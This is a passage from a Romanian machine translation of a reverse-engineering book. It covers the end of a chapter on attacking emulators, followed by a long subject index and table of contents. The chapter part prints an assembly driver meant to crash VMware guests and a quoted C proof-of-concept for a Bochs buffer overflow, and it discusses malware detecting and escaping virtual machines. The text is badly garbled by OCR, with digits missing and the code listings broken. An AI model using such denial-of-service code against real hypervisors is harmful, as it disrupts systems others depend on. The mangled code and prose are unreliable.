gropilor continuă între timp Ar fi plictisitor (și neinteresant) să ne oprim pe fiecare dintre ele și să-l savurez în fiecare detaliu Este suficient să spunem că ultimul Capitolul Atacul asupra emulatorilor Mesajul VMware Buffer Overflow este foarte recent și este datat aprilie , afectând VMware ESX Server / Deși nu există detalii tehnice momentan (informațiile despre vulnerabilitate au fost publicate chiar de dezvoltatori, care nu sunt deloc interesați să dezvăluie aceste detalii), analiza patch-urilor (totuși, de altfel, încă neeliberate) vă permite pentru a localiza poziția găurii și a scrie exploit Așa că rămâneți pe http://www securityfocus com/bid/ pentru actualizări Pe scurt, nu poți avea încredere în VMware și înainte de a depana următorul vierme de pe el, nu strica să instalezi toate cele mai recente actualizări care există în acest moment Pe de altă parte, versiunile mai vechi par mai puțin elegante, dar pot fi mai rezistente la ieșirea din mașina virtuală În orice caz, măsurile de precauție tradiționale nu vor strica La urma urmei, o dată viermii au fost depanați direct pe computerele principale și, în cele mai multe cazuri, nu s-a întâmplat nimic tragic Bine, să presupunem că ne-am dat seama de descoperirea dincolo de VMware și să trecem la tot felul de „lucruri murdare” din interiorul acestuia Codul din Lista - determină oprirea mașinii virtuale, ceea ce este echivalent cu puterea | Suspendați în meniul principal al mașinii virtuale (Fig ) Cu toate acestea, după trezire (Reluare), acesta, din păcate, se dovedește a fi înghețat fără speranță și, prin urmare, este necesar să se repornească (Fig ) Orez Codul rău intenționat pune mașina virtuală în stare de repaus Partea a V-a Săpărea codurilor practice Orez Sleep mașină virtuală de la care nu există întoarcere Lista I Calea inițială a driverului VMware-crash asm care pune mașina virtuală în stare de repaus t care deja nu se va trezi model flat, stdcall cod DriverEntry Mov Mov Int Mov Mov Out Xor Xor Inc proc eax, ebx, Oh topor, c h dx, h dx, ax ebx, ebx eax, eax eax Capitolul Atacul asupra emulatorilor Int h Mov eax, C h; STATUS DEVICE CONFIGURATION ERROR ret DriverEntry endp endDriverEntry Driverul este compilat folosind DDK, iar acest lucru se face folosind o linie de comandă complet standard (Listing ) ml /nologo /c /coff VMWareSL asm link /driver /base: x /align: /out:VMWareSL sys /subsystem:native VMWareSL obj Utilitarul gratuit w k load exe, scris de Sven Schreiber și inclus în cartea Caracteristici nedocumentate ale Windows , este foarte potrivit pentru încărcarea driverului din mers Aceste utilitare pot fi descărcate, de exemplu, de aici: http://irazin ru/Down!oads/BookSamples/Schreiber zip sau de pe site-ul cărții: http://www rawol com/?topic= Desigur, DDK nu este o dogmă În cele din urmă, nu există nici un arbitrar aici și, cu un succes nu mai mic, puteți utiliza, de exemplu, FASM, sau chiar puteți pune codul de asamblare într-un modul de nucleu încărcat și îl puteți seta pe Linux Acest lucru va face ca VMware să blocheze toate mașinile invitate, afișând o casetă de dialog etichetată *** VMware Workstation internai monitor error *** și o cantitate imensă de informații tehnice complet inutile (Figura ) Orez , Un sistem invitat distruge restul și înnebunește literalmente VMware Sven Schreiber „Funcții nedocumentate ale Windows ” - Sankt Petersburg: Peter, Partea a V-a Săpărea codurilor practice În plus, VMware menține o interfață backdoor specială, nedocumentată, despre care a fost discutată mai devreme în acest capitol în secțiunea Attack Through the Backdoor Interface După cum sa menționat deja, această interfață permite sistemelor de operare oaspeți să gestioneze o mașină virtuală, care, în primul rând, permite codului rău intenționat să determine că nu rulează pe hardware „în direct”, ci rulează sub VMware, care, folosind aceeași interfață backdoor, poate și picătură Desigur, puteți și ar trebui să parcurgeți codul VMware cu editorul HIEW, să găsiți toate constantele D h din el și să le înlocuiți cu altceva Pentru o mai mare fiabilitate, același lucru ar trebui făcut cu numărul portului Acest lucru nu va afecta performanța VMware, dar codul rău intenționat va pierde capacitatea de a scăpa prin interfața backdoor Cu toate acestea, VMware sa compromis deja suficient și doar un miracol îi poate salva reputația Dar miracolele, după cum știți, nu se întâmplă, dar există concurenți într-un sortiment mare Luați în considerare, de exemplu, foarte popularul emulator Bochs (http://bochs sourceforge net) Funcționează lent, dar este gratuit și, cel mai important, pe toată durata existenței lui Bochs, nu a fost găsită o singură gaură în el care să permită codurilor rău intenționate să iasă din mașina virtuală O altă caracteristică utilă este depanatorul încorporat, care funcționează la nivel de mașină virtuală și, prin urmare, este complet invizibil pentru codul depanat Pe scurt, din punct de vedere al securității, tot codul potențial periculos este cel mai bine examinat sub Bochs Cu toate acestea, Bochs conține mai multe erori de depășire necritice care permit sistemului de operare invitat să blocheze emulatorul, prevenind depanarea codului rău intenționat Cu toate acestea, codul rău intenționat nu poate afecta direct sistemul de operare ca atare sau, mai degrabă, modalitățile unui astfel de impact sunt necunoscute În special, site-ul web SecurityFocus listează o singură eroare de depășire a memoriei tampon legată de versiunea BOCHS și care provoacă o refuz de serviciu Descoperit la sfârșitul lui mai de hackerul Tavis Ormandy, este încă destul de relevant Lista arată codul sursă pentru exploit publicat la http://downloads securityfocus eom/vulnerabilities/exploits/ c #include int main(int argc, char **argv) ( yuri ( ); outw( x , x c); outw(Oxffff, x );(a) outw(Oxlffb, x e); outb( x , x ); outb( x b, x ); outw( x c , x ); outw( x e , x ); întoarce ; } (a) BX NE K THIS s curr page) || ((BX NE K THIS la pagina curr + pagini) == BX NE K THIS la pagina oprire) ) { memcpy(startptr, pkthdr, ); memcpy(startptr + , buf, io len);b BX NE K THIS s curr page = pagina următoare; Cu toate acestea, nu există încă un singur exploit cunoscut care să exploateze efectiv această vulnerabilitate pentru binele său Între timp, odată cu popularitatea tot mai mare a mașinilor virtuale ca instrument pentru „trepanarea” codului rău intenționat, creatorii acestuia din urmă încep treptat să se gândească la metode de luptă, perfecționând noi tehnologii pentru atac și apărare Index de subiect funcția de baleiaj, pe de biți Criptarea „listei de întreruperi” a lui Ralph, , Maro, , - biți *ABEL* Criptare Seif Learnmg Loader, Generator, A A out, , , adata, A , aspack, ACP , bss, , Acrobat Reader, code, Control ActiveX, data, , Generare adrese diff, Intellock, finit, , Aspect spațiu de adresă init, , Randomizare, patch, Adobe, , plt, Adobe Acrobat, , rdata, securitate, rodata, , , Adobe Photoshop, rsrc, Adore, , S, Parolă PDF avansată text, , , Recuperare, Advanced Registry Tracei, AGI, A X, cdecl, Alcool %, , fastcall, ALD, , stdcall, Algol , Alpha, , AMD, , , , , , Mod pe biți, , , AMD Athlon FX, AMD Opteron, AMD Pacifica, de biți, AMD x - , , , AMD , DNow!Pro, moduri de operare, AMD-V, ANSI C, ANSI C/C++, Afară, Outb, API, AP C- Apimon exe, APISpy , Funcții API, , interceptare, Spioni API, , , , , Armadillo, AS , , ASCII, simboluri, linii, linii ASCIlZ, , , ASLR, ASPack, , , , , , , , ASPI Driver, ASProtect, , Limbaj de asamblare Depanator AT&T, sintaxă, , Athlon , , LA Mecanism backdoor, Backtrace, Bart PE Builder, bash De bază, , , dialecte vechi, Bastard Disassembler, BeOS, , , BIEW, , , , Bm, , Index de subiect Binutils, , BIOS, , Configurare BIOS, Bit-hack, , Pili albastru, Bluetooth, Bochs, , , , , , , , , , , , build pe de biți, Boot ini, , , , Borland Borland C++, , , , , Tabel de import legat, Puncte de întrerupere Atacul cu forța brută, , Bryce Cogswell, ani BSD BSOD, , , , , Scut tampon, , Codurile BugCheck, , Bumdump, Bumeye, , , Bumeye Unwrapper, Bzip, c C, , , , Convenția C C/C++, , C++, C U, Convenții de apelare, Carry Flag, Manipulatori de cazuri sucursale, Cdecl, , , CheckInstail, Clipper, , Clone CD, , CodeView, , COFF, , , , Colorant Dezasamblator cu lungime de comandă, Fișier obiect comun Formatul Compaq System Pro Compuware Sistem de versiune simultană, Constructor CopyMem II, , Copiere la scriere, CPU, , Cra , CRC, CRC , CRC , , Referințe încrucișate, CTrace, Cupa , Secția actuală, CVS, Cygnus Solutions, Cygwin, C-agreement, C-lines, D Daemon Tools Prevenirea executării datelor, DATA DIRECTORY, structuri, Dbghelp dll, , DbgView, DCOM RPC, Debian Debug com, , , , Instrumente de depanare Instrumente de depanare pentru Windows, DEC PDP- DeDe, Șterge identificare, , Delphi, , , , , , , , , , DeMoNiX, DEP, suport hardware, configurație , bypass , probleme de compatibilitate, implementare software, Desktop ini, Destructor, Disk Editor, DJGPP, DLL, , DoS, , DOSBox, , , , Doswin , Dos stub, linii DOS, Driver Development Kit, DriverStudio , DnverStudio Framework, DriverStudio v build , Dumpbin, DUMPBIN, , DWARF, DWARF , E eBook, eBook Reader, eBook format, EDITBIN, , Eicomsoft, , ELF, , , , , , ELFCrypt, , ELF virusuri ELF , header distorsionat, structură, ELF-loader, vulnerabilități, segmente ELF, fișier ELF, , , , injecție de cod străin, a protejat Shiva, cu distorsionat antet, antet de serviciu, structură, universal unpacker, format ELF, , Emacs, Protecție îmbunătățită împotriva virusurilor, Înregistrare evenimente Enterpnse, Punct de intrare, , EVP, Exec Shield, Format executabil și link, , , , , , , Extended Attnbutes, eXtreme Protector, , , , Index de subiect F Manager FAR, , , , FASM, , , , , , , limbaj macro, mod x - , Apel rapid la fc exe, Alinierea fișierelor, Fieemon exe, , Fiie Open, FireFox, , , , , Secțiunea întâi, Flash USB, Fiat Assembler, , , , , , , , FLEX LM, FLIRT, Folder htt, Fox Pro, , FPO, FPU, , Omisiunea indicatorului de cadru, BSD gratuit, , , , , , , , , Pascal gratuit, , , , FSG de bart/xt, G GAZ, , , , GCC, , , , , , GDB, , , , , , , , multithreading, procesare semnal, puncte de urmărire, puncte de întrerupere, puncte de captare, urmărire, GDT , Geraid Popek, de ani GHex, GIMP, , Tabel de descriptor global, Tabel de compensare globală, GNOME, GNU: Asamblator, , , Binutiis, Compier Coiiection, , Depanator, , linker GNU/HURD, GNU/Linux, GOT, Gzip, , H Dezasamblarea hackerului motor HAL, , Hai dil, , Hardlock, Abstracția hardware Strat, , HASP, , , , Hewlett-Packard, Hex Workshop, Hex Editors, HIEW, , , , , , , , , , , , , Asamblator, , , HLA, , , Honeypot, HPPA, HT- HT Editor, , , , , , , , HTE, , , , , , , , Pachetul lui Hutch, HyperThreading, , , , eu i kd exe, IA , , IA , , , IAS EXE, IBM, , IBM OMF, IBM PC, , IBM PC XT/AT, IBM System/ , IceDump, , , IceExt, , , , , IDA Pro, , , , , , , , , , , , , , , , Highiighter, identificare automată a funcției, versiune gratuită, IDA Pro , IDA Pro , IDA Pro , IDA SDK, dispozitive IDE, IDT, , , , , , IEEE, DACĂ-Atunci-ALTĂ identificare, IIS- Import REConstructor, În oțel I Shield, InstaiiShield Decompiier, InstaiiShield X Unpacker, Intel, , , , , , , , , sintaxa, Intel C++, Intel C++ Compier, Instrument de acoperire Intel, Intel Fortran Compier, Intel IA , Intel Itanium Intel Pentium Intel Vanderpooi, Performanță Intel VTune Analizor Internet, Internet Explorer, , , , , Tabel de descriptori de întrerupere, , , Lista de întreruperi de Ralf Brown, , IRIX, isDcc, Itanium J Java Index de subiect La KDE Kerberos, , , KERENL DLL, , , , , , , , , , , Exploatare rădăcină locală Bluetooth Kernel, Kemel Debugger Driver pentru modul Kemel Cadru, , , Kevin Lawton, Keygen, KHexEdit, Knark, Knoppix pornire de pe HDD, Knoppix , , Ktrace, L Ultima secțiune, ASM LENES Asamblator leneș, , Ld, Ld , LDasm, Ld-limx so, LDT, , LIBC, , libc so, Libm so, Lida, Lin/Obsidian, Linice, , , configurație, LINT, Linux, , , , , , , , , , , , de biți, dezasamblare sâmburi, logo de înlocuire, inel de prindere , caracteristici dezasamblare, interceptarea cererilor sistemului de fișiere, interceptarea apelurilor de sistem, hack kernel, kernel, Dezasamblator Linux, Linux interactiv Dezasamblare Linux Red Hat, Linux NuxBee, Linux Vit , LiveCD, , LKM, Modul kernel încărcat, , , Tabel de descriptor local, LOCO, Logo c, Lord P E , , Lord PE Deluxe, Lynx, , Lz dll, M MacOS, , Mac OS X, MakeCrk Malware Mar-file, , Mark Russinovici, ani MASM, , , , MD , , , , MFC Microsoft, , , , , , , , , Instrumente de depanare Microsoft, Microsoft Camel Debugger, Microsoft OMF, Microsoft Platform SDK, Microsoft Virtual PC, , Microsoft Virtual Server , Microsoft Visual C++, , , , , , , , , , , , , Microsoft Visual Debugger, Microsoft Visual Studio, , , Microsoft Visual Studio Depanator Microsoft WinDbg Microsoft Windows Depanator, , Midnight Commander, MMX, , echipe, Motorola MC , Domnul Z, MP MS Link, MS profile exe, MS Visual Studio Debugger, MSDN, , , , MS-DOS, , , , , , , , , stub în mod real, MZ, , N Ecran NAG, , suprimare, Funcții goale, NASM, , , , , AP nativ, , , , , NetBSD, , , , Netstat Asamblator Netwide, Nou identificare, Resurse New Paradigm Grupa, Secțiunea următoare, Fișierul NMS, Norton Disk Editor, Novell SLES , NTDDK H, NTDLL DLL, , , , NtExplorer, , NTFS, , , fluxuri, atribute extinse, NTFS SYS, Ntoskrnl exe, , , , , , NuMega NuMega SoftICE Symbol Loader, NuMega TrueCoverage, NX/XD-bit, , , , , , , O Objdump, , Alinierea obiectelor, Format modul obiect, fișier obj, OEP, metoda universală de căutare, Index de subiect Patch off-hne, OllyDbg, , , , P , , , urmărire pași, programare model, Oliy Dump, O M F Patch-uri on-line, Deschide Watcom, OpenBSD, , , , , Opera, , , , Opteron, , Punctul de intrare original, , , , , , OS/ , , , , Avanpostul Firewaii, Flag Overflow, O-parolă, , , P PACE InteiLock, Pacifica, , , , PAE, , Gestionarea erorilor de pagină, Atacul fișierului de pagină, Paralleis, , Stația de lucru Paralleis, Pascal, , , , , , , , Convenția Pascal, , Coarde Pascal, lată, RaH, RS , RSV, Fișiere PCX, PDB PDF, , O-parolă, Parola U, structura fișierului, Recuperarea parolei PDF COM SDK- Recuperarea parolei PDF Profesionist, PDF Remover Password, Fișier PDF, , PDP- PE, , PE Tools, , , PEB, , PE-Compact, , , , PEiD, , , Pentium MMX, Perl, , , , , , Peter Anvin, Peter Veenstra, antet PE, , , injectare în fișier neinfectat, secțiuni PE, fișier PE, , adresa de încărcare de bază, atribute de secțiune, adrese virtuale, imagine virtuală, injecție de cod, antet, corupție antet, suprapunere, , adrese virtuale relative, informații de roaming, paginare, structură, scheme de adresare, tabel de import interval, adrese fizice, PGP, PharLap, PHRACK, Adresă fizică Extensii, , PIC, Pice, Controlere PIC, PKLite, Pkzip, Piatform SDK, PolyEngme Unux LIME poly, POSIX, , , PPC , , , PPC , , , Process Control Block, Process Environment Block, Process Patcher, Program Database, Program header Tabel, Proof-of-concept exploits, Ptrace, , , Python, R -cod, Q QEMU, , , , , QNX, , , R Process Patcher al RISC, Lista de întreruperi a lui Ralph Brown, Rasta Ring Depanator, offset brut, Adresă relativă brută, Marime bruta RC , , , RDF, RDOFF, Pălăria Roșie Red Hat Enterpnse Linux v , actualizare , Red Hat RHEL , Regmon exe, , Adresă virtuală relativă, ReloX, Remote Procedure Cails, Resource Hacker, , Restorator Resource Editor, Ring Inelul , R L E Robert Goldberg, de ani Rotl , Apeluri RPC, Antet RPC, Spionajul RPC, RTL, , RTTI, Ruby RVA, , s SuSE sfoară de sare, SCSI, , SDT, , SDTRestore, , Alinierea secțiunii, Tabel antet secțiuni, Mașină virtuală securizată, Tabel antet segment, SEH, , , , filtru, cadru, , cadre false, Santinela Index de subiect Tabel de descriere a serviciului, Setup S, SFC, , , SHA , SHA- , shareware, , Cod Shell, , , , , , în reprezentare ASCII, dezasamblat, criptat, control transfer, Shiva, , , Sign Flag, Silvervale, Slackware, SMP, , Depanare SoftICE , simboluri de încărcare, folosire ca înregistrare, macro-uri, ^ încărcător de caractere, SoftLock, Servicii SoftLock, Software Passport, , , Solans, SONY Sourcer, , SPARC, , , , SPARC , Spices Decompiler, Spin locks, Spyxx, , SSE, , , SSEII, , SSE I , , SST, STABS, Star Force , , , Cod de pornire, , Stdcall, , Viruși stealth, Tehnologii stealth, , Strip, Excepție structurată Manipulare, , , SVM, Symmetnc Multi-procesare, Fișierul SYM, Syser Debugger, , syslog, Tabel Descriptor de sistem, System File Checkcker, System Service Table, T TASM, , , TASM +, TCP TCP/ P, , , TCP P SYS, TCPView, Teleport Pro, tElock, The Bat, The Dude, Themida, , , , , Tlink, Thnk , Tomasz Grysztar, , TOOLHELP , Total Commander, Trap Flag, TnalFreezer, Truss, , Turbo Debugger, , , , , Turbo Pascal Turion , , u UDP Ulink, , , Unicode, , , , , Universitatea din Cambridge cercetare grup, UNIX, , , , , , , , , , , AP , pseudodispozitive, UNIX mheader , UNIX NuxBe quiIt, dumper UNIX, UPX, , , , , , , , , , , semnătură, Dispozitive USB, USER DLL, , , U-parolă, , , V V A Vanderpool, , , VB Decompiler, VB RezQ, Virușii VBS, VenSign, Foarte PDF, Mod VGA consola, Vi, Video S, Adresă virtuală, Virtual Machme Monitor, , Controlul memoriei virtuale Bloc, PC virtual, , , , Virtual PC , Dimensiune virtuală, Masa virtuală Virtuahzation Tehnologia X, Visual Basic, , , Visual Studio Express, Visual Studio Express Ediția, VM Ware, VM Ware , VMCB, Vmlinuz, VMM, , , , VMware, , , , , , , , , , , , , interfață backdoor, , Player, Server atac prin folderul htt, securitate, oprire mașină virtuală, suprascrierea unui fișier arbitrar, execuție de cod arbitrar de la distanță, VMware VMware , VMware Ace, Server VMware ESX, Server VMware GSX, VMware Player Index de subiect Platformă virtuală VMware, VMware Workstation , VTBL, VT-X, , w w k kill sys, w k load, w k load exe, W Dasm, Watcom Watcom C, , , , , , Watcom C++, WDB WDF, Wm , , , API Win , Wm k sys, WmDbg, , Windows , , Versiuni pe de biți, Versiuni pe de biți, protecție fișier de sistem, schimbare logo-ul cizmei, hack kernel, Windows , , , , Windows /XP/ , Windows Server, Windows x, Windows x, , , , , Windows x/NT, Windows Driver Foundation, Windows InstallShield Decompiler, Windows NT, , sistem executiv, registry , structură kernel , Windows NT Ediție pe de biți, Windows NT/ /XP, modificarea kernelului, Windows PE, Windows Platform SDK, Windows Server , Windows Server SP , Windows Server Longhom, Windows Update, Windows Vista, , Windows XP, , , XP pe de biți! editie, , Wine, WinHex, WINNT H, WinRAR, , Wmsock, X Emulator x , , , , x , x - , , , , , Mod pe de biți, Modul de compatibilitate , Modul Legacy , Modul lung , acord rapid Transfer de parametri, Emulare, X-Box, Hep, , , Cod sursă, Comunitatea Hep, Editor de resurse XN, atribute X, , nivel de pagină, cod X, , , , Tail Injection secțiuni, anexând la sfârșit fișier, criptat, incorect implementate, prevenirea reintroducerii, crearea proprie suprapunere, metode de implementare, Y YASM, , , Z Zero Flag, ZX Spectrum, , ZX-SPECTRUM, A Descărcare memorie, Automat spărgători, Verificatori de cod offline, Patch offline, Adresare: indirect, direct, Adresare locală variabile, Spațiu de adrese, Algoritm de securitate analiză, Algoritm de compresie R L E , , Lempel-Ziva, Huffman, Antivirus, , , Anti-depanare tehnici, Cod anti-depanare, Virtualizare hardware, , , , , , puncte hardware opriți, Argumente ale funcției de identificare, Arhitecturi: de biți, de biți, Criptografia asimetrică, Asamblator, macro-uri, Asamblator la nivel înalt, Inserții de asamblare, , Funcțiile de asamblare returnează valori, Funcții bibliotecă, analiză, identificare, Beat hack, , Bloc mediu de proces, Index de subiect Firewall-uri, , , personale, Bruce Cogswell, ani Comparații booleene, Operații booleene rapide, LA Filiale, optimizare, Comparația numerelor reale, Hacking prin acoperire, Alinierea secțiunii virtuale, Virtual: discuri, tabele, , identități, copii, funcții, , Adresă virtuală, Constructor virtual, Dimensiune virtuală, Viruși, , , Declarații cu alegere multiplă imbricate, Variabile temporare, domeniul de aplicare, Alocarea memoriei, Calcule în virgulă mobilă, G Generatoare de chei, , Generatoare de numere de serie, Hypervisor, , , , Obiecte globale, Variabile globale, Definiția limitelor de instrucțiuni ale mașinii, d Dump, eliminarea la nivelul nucleului, eliminarea din aplicațiile protejate, Dumpers, opoziție, Decompilare, Copaci, echilibrare, Destructor, identificare, Gerald Popek, de ani Dezasamblator de lungime, Dezasamblatoare, , , interactive, lot, software Dezasamblare, Depanare biblioteci partajate, Antet tabel de segmente, Antet tabel de secțiuni, Încărcător de fișiere ELF, , Protecție cu probațiune, număr de serie, , Apărare împotriva pirateriei, pe baza numerelor de înregistrare, pe baza posesiei, pe baza cunoștințelor, Apărarea Kirchhoff, , Discuri de copiere protejate, Valoarea returnată a funcției de identificare, Și Ilfak Gilfanov, Identificarea funcțiilor derivate, Interpreți, Excepție indicator de cadru, La Kevin Lawton, de ani Format clasic de cod obiect UNIX, Discuri cheie, Structuri cheie ale unui limbaj de nivel înalt, Fișiere cheie, Codul: rău intenționat, Codurile Reed-Solomon, Instrucțiuni pentru coprocesor Opcode, Compilatoare, neoptimizate, optimizare, , Constructor, identificare, gol, Copie pe Write, Pastilă roșie Criptanaliză, Criptografie, , , asimetric, Criptoprotecție, L Algoritmul Lempel-Ziva, Licență GNU, Protecții logice, Maparea operațiilor logice la arbori, Condiții booleene, Fals pozitive, , Variabile locale, adresare, inițializare, alocare stivă, M Mark Russinovici, , Matrice, Identificarea operatorilor matematici, Mașină Turing, , Manager memorie virtuală, Mecanism de urmărire a spatelui, Mecanisme de încorporare în clasificarea fișierelor PE, Clasificarea mecanismelor de protecție software, Mecanisme de trecere a argumentelor, Modificarea fișierului de paginare la nivel de sector, Virtual Machine Monitor, , Index de subiect H Moștenirea denumirii, Funcții non-virtuale, Imediat valoare, Definiție tip operand imediat, Imediat indice, O Zona de date, Zona de cod, Access Handler la pagini, ofuscatori retragere, Obscurcare, , Format obiect general modul, Obiecte, identificare, suprapuneri, OOP, instrucțiune CASE, instrucțiune continue identificare, declarație switch identificarea, Operatori noi și ștergeți, Optimizarea ramurilor, Punct inițial intrare, Cadru de stivă deschis, Informații de depanare, îndepărtare, Depanare tipărire, Depanatoare, , detecție, , , Relativ virtual adresa, Erori de depășire a memoriei tampon, P Pachet Hutch, , Memorie de bază: modificare, validare, Patch-uri: offline, online, Prima secțiune a dosarului, Trecerea argumentelor funcției prin stivă, prin registre, Referințe încrucișate, , Variabile economisiți pe stivă, Peter Unwin, de ani Peter Weenstra, de ani PE: rău intenționat, Pluginuri, Scanare de vulnerabilitate, Secțiunea Ultima fișier, Regula Kirchhoff, Problemă de reinstalare, Verificare integrității, Prolog, , caracteristici optimizate, Protectori, îndepărtare, Funcția de restaurare a prototipului, Profileri, Proces excluderea din lista sarcinilor, R Derulare stivă, Despachetari algoritm de lucru, Marșarier, Identificarea variabilelor din registru, Registre, , matematică coprocesoare, multimedia, depanare, segment, Înregistrare, , , , , , , , , monitorizare, Robert Goldberg, de ani Rustem Fasikhov, ani Rootkit-uri, , Compilare manuală, Cu Sven Schreiber, Secțiuni: atribute, service, Semafore, , Numere de serie, Certificate, Viermi, rețele Petri, , Ecran albastru al morții, Semnătură, Sintaxă: AT&T, Intel Pastilă albastră, Următoarea secțiune a fișierului, Sniffer, Acorduri apel rapid, despre trecerea parametrilor, Spinlocks, Standard convenție, , cod de pornire, , variabile statice, stiva , , adresarea argumentelor, echilibrare, executabil, neexecutabil, , spinup, coprocesoare, , Steletech, Steve Hutchesson, Paging Image, Pierce's Arrow, Line, identificarea, definirea tipului, prelucrare structurală excepții, , Structuri, identificare, T Tabel de descriptori de întrerupere, Tabelul elementelor mutate, Secțiunea curentă a dosarului, executarea datelor, Index de subiect Tomas Grishtar, de ani Punctul de intrare, , Puncte de întrerupere, , , hardware, , , funcții API, date, mesaje, software, Traducere de ramuri, Zero tracers inele, Urmă, cai troieni, Bust mut, La acest indicator, , , , , , identificare, Ambalatori, Conditii: compus, elementar, Condiții de relație, Identificarea declarațiilor condiționate, Salturi condiționate, , F Schimbare fișier: atac asupra, modificare la nivel de sector, Sistemul de fișiere monitorizare, Monitoare de fișiere, Adresa fizică a începutului secțiunii, Dimensiunea fizică secțiuni, Alinierea secțiunii fizice, Steag: semn, zero, transfer, depășire, înregistrare, instalare, Steaguri coprocesor, format de performanță și aspect, Format de modul obiect, Format de informații de depanare, Funcții, apel cu argumente implicite, identificare, prolog Vezi epilog, Funcţie: DllMain, identificare, consola principală Identificarea aplicației Windows, WinMain, identificare, X Algoritmul Huffman, c Bucle, , infinite, imbricate, cu condiție prealabilă, cu postcondiție, cu o stare la mijloc, cu un contor, Semnături digitale, H Viermi, , Morris Worm, Funcție virtuală pură, SH Hex editori, Criptare dinamic, Spioni, uh Instanțe de obiect exploatații, demontare, , Emulatori, vulnerabilități, Epilog, , Yu Yuri Kharon, de ani EU SUNT Funcții nucleare apel de la nivelul aplicației, Nuclei multiprocesor, Cuprins Introducere PARTEA I PREZENTARE GENERALĂ A HACKERILOR Capitolul Trusa de instrumente pentru hackeri Depanatoare cinci Dezasamblatoare Decompilatoare Editori hexazecimali Dezambalați Amortizoare Editori de resurse Spioni optsprezece Monitoare nouăsprezece Modificatori Copiere securizate pe disc Capitolul Emularea depanatoarelor și emulatoarelor Introducere în emulatori Prezentare istorică Domenii de aplicare ale emulatoarelor Virtualizarea hardware Prezentare generală a emulatoarelor populare DOSBox treizeci Bochs și QEMU VMware Microsoft Virtual PC Cei mai apropiați concurenți Alegerea emulatorului potrivit Securitate Extensibilitate Disponibilitatea codurilor sursă Calitatea emulării Depanator încorporat Tabel rezumativ al caracteristicilor emulatoarelor Cuprins Capitolul Instrumente de hacking pentru UNIX și Linux Depanatoare Dezasamblatoare Spioni Editori hexazecimali Doamnelor Potențialul ascuns al ansamblurilor de mâini Pregătirea filozofică Instrucțiuni pas cu pas Noțiuni de bază Instalare Concluzie Capitolul Asamblatori Filosofia asamblatorului Explicația asamblatorului folosind exemple C Inserții de asamblare ca banc de testare Instrumente necesare Comparația traducătorilor de asamblare Criterii fundamentale MASM TASM FASM NASM YASM Programare în limbaj de asamblare pentru UNIX și Linux Concluzie Link-uri către produsele menționate PARTEA II TEHNICI DE BAZĂ DE HACKING Capitolul Introducere în mecanismele de apărare Clasificarea protecțiilor în funcție de tipul cheii secrete Fiabilitatea protecției Dezavantajele soluțiilor ieșite din uz Greșeli frecvente în implementarea mecanismelor de protecție Protecție împotriva copierii și distribuirii neautorizate a numerelor de serie Protecția probațiunei și punctele sale slabe Reconstituirea algoritmului Recomandări generale Protecție împotriva modificării pe disc și în memorie Contracararea dezasamblatorului Tehnici anti-depanare Antimonitoare Amortizoare de contracarare Mici greșeli care duc la consecințe grave Cuprins Capitolul Încălzirea Creăm protecție și încercăm să o spargem Cunoașterea dezasamblatorului Dezasamblatoare în loturi și dezasamblatoare interactive Software Utilizarea dezasamblatoarelor în loturi De la EXE la CRK DIN Exemplu practic de hacking Suprimarea ecranului NAG Înregistrare forțată Curățați piratarea sau îmblânzirea ferestrei Despre Concluzie Capitolul Introducere în depanare Introducere în depanare Dezasamblator și depanator într-un singur cablaj Puncte de întrerupere a funcției API Puncte de întrerupere pe mesaje Puncte de întrerupere a datelor Derularea stivei Depanarea unui DLL Concluzie Capitolul Funcții de depanare pe UNIX și Linux Ptrace - Fundația pentru GDB Biblioteca Ptrace și comenzile sale Suport multithreading în GDB Ghid rapid pentru GDB ■ Urmărirea apelurilor de sistem Depanarea binarelor în GDB Pregătirea pentru depanare Să începem să urmărim Scufundarea în tehnicile și filozofia GDB Concluzie Capitolul Funcții de depanare Fusion cu Linice Cerințe de sistem Compilarea și configurarea Linice Pornirea sistemului și lansarea depanatorului Elementele de bază ale lucrului cu Linice Concluzie Capitolul Discuție extinsă despre depanare Utilizarea SoftICE ca înregistrare Încălzire ușoară Filtre mai avansate Urmărire animată în SoftICE Depanator WinDbg ca spion API și RPC Prima cunoaștere cu WinDbg Tehnica de spionaj API Tehnici de spionaj RPC Cuprins Hack-uri arbitrare la punctele de întrerupere Secretele de urmărire a pașilor Hacking prin copertă Idee călăuzitoare Alegerea instrumentelor Algoritmi de acoperire Alegerea abordării Un exemplu de hack Concluzie PARTEA III IDENTIFICAREA STRUCTURURILOR CHEIE ALE LIMBAJURILOR LA NIVEL ÎNALT Capitolul Identificarea funcției Metode de recunoaștere a funcției Referințe încrucișate Identificarea automată a funcției cu IDA Pro Prolog Epilog Funcții „naked” (god) Identificarea funcțiilor încorporate (iniine) Modele de memorie și compilatoare pe biți Capitolul Identificarea funcțiilor de pornire Identificarea funcției WinMain Identificarea funcției DllMain Identificarea funcției principale a aplicațiilor din consolă Windows Capitolul Identificarea funcțiilor virtuale Identificarea unei funcții virtuale pur Partajarea unei mese virtuale cu mai mulți instanțele de obiect Copii ale tabelelor virtuale Lista legată Apel prin gateway Un exemplu complicat în care funcțiile non-virtuale ajung în tabele virtuale Legătura statică Identificarea funcțiilor derivate Identificarea tabelului virtual Capitolul Identificarea unui Constructor și a unui Destructor Obiecte în memoria automată - o situație în care constructorul/destructorul nu poate fi identificat Identificarea constructorului/destructorului în obiecte globale Destructor virtual Constructor virtual Constructorul unu, constructorul doi Constructor gol Cuprins Capitolul Identificarea obiectelor, structurilor și matricelor Identificarea structurii Identificarea obiectului Obiecte și instanțe Adresa mea nu este nici o casă, nici o stradă Capitolul Capitolul Identificarea noilor și ștergerea Identificare noua Ștergeți identificarea Abordări de implementare a heap-ului Capitolul Identificarea funcțiilor bibliotecii Capitolul Identificarea argumentelor funcției Convenții de trecere a parametrilor Ținte și obiective Determinarea numărului și tipului de argumentare de trecere Abordarea argumentelor pe stivă Convenție standard - stdcall acord cdecl Convenția Pascal Convenții de apelare rapidă - apelare rapidă Convențiile de apelare ale acestui apel și convențiile de apelare implicite Argumente implicite O tehnică de investigare a mecanismului de transmitere a argumentelor de către un compilator necunoscut Capitolul Returnarea unei valori cu instrucțiunea return Returnarea valorilor reale Returnarea valorilor prin funcțiile de asamblare inline Returnarea valorilor prin argumente transmise prin referință Returnarea valorilor prin intermediul memoriei dinamice (heap) Returnarea valorilor prin variabile globale Returnarea valorilor prin steaguri procesorului Capitolul Identificarea variabilelor stivei locale Adresarea variabilelor locale Detalii, implementare tehnică Identificarea mecanismului de alocare a memoriei Inițializarea variabilelor locale Plasarea matricelor și structurilor Alinierea stivei Cum IDA Pro identifică variabilele locale Excepție pentru indicatorul de cadru Capitolul Identificarea variabilelor de registru 